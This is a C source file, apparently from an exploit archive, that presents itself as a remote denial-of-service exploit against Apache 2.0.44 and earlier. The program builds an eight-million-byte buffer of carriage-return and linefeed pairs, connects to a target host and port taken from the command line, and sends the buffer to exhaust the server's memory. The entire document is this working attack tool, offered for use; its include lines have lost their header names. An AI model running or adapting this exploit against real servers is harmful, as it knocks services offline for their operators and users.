* Version TXT Disponible ici *
                              
                              
                              /******** th-apachedos.c ********************************************************
                              * *
                              * Remote Apache DoS exploit *
                              * ------------------------- *
                              * Written as a poc for the: *
                              * 
                              * This program sends 8000000 \n's to exploit the Apache memory leak. *
                              * Works from scratch under Linux, as opposed to apache-massacre.c . *
                              * 
                              * 
                              * Daniel Nyström <> *
                              * 
                              * - www.telhack.tk - *
                              * 
                              ******************************************************** th-apachedos.c ********/

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 


                              int main(int argc, char *argv[])
                              {
                              int sockfd;
                              int count;
                              char buffer[8000000];
                              struct sockaddr_in target;
                              struct hostent *he;

                              if (argc != 3)
                              {
                              fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
                              fprintf(stderr, "\n----------------------------------------------");
                              fprintf(stderr, "\nUsage: %s  \n\n", argv[0]);
                              exit(-1);
                              }

                              printf("\nTH-Apache DoS\n");
                              printf("-------------\n");
                              printf("-> Starting...\n"); 
                              printf("->\n");

                              // memset(buffer, '\n', sizeof(buffer)); /* testing */

                              for (count = 0; count < 8000000;) 
                              {
                              buffer[count] = '\r'; /* 0x0D */
                              count++;
                              buffer[count] = '\n'; /* 0x0A */
                              count++;
                              }

                              if ((he=gethostbyname(argv[1])) == NULL)
                              {
                              herror("gethostbyname() failed ");
                              exit(-1);
                              }

                              memset(&target, 0, sizeof(target));
                              target.sin_family = AF_INET;
                              target.sin_port = htons(atoi(argv[2]));
                              target.sin_addr = *((struct in_addr *)he->h_addr);

                              printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
                              printf("->\n");

                              if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
                              {
                              perror("socket() failed ");
                              exit(-1);
                              }

                              if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
                              {
                              perror("connect() failed ");
                              exit(-1);
                              }

                              printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
                              atoi(argv[2]));
                              printf("->\n");

                              if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
                              {
                              perror("send() failed ");
                              exit(-1);
                              close(sockfd);
                              } 


                              close(sockfd);

                              printf("-> Finished smoothly, check hosts apache...\n\n");
                              }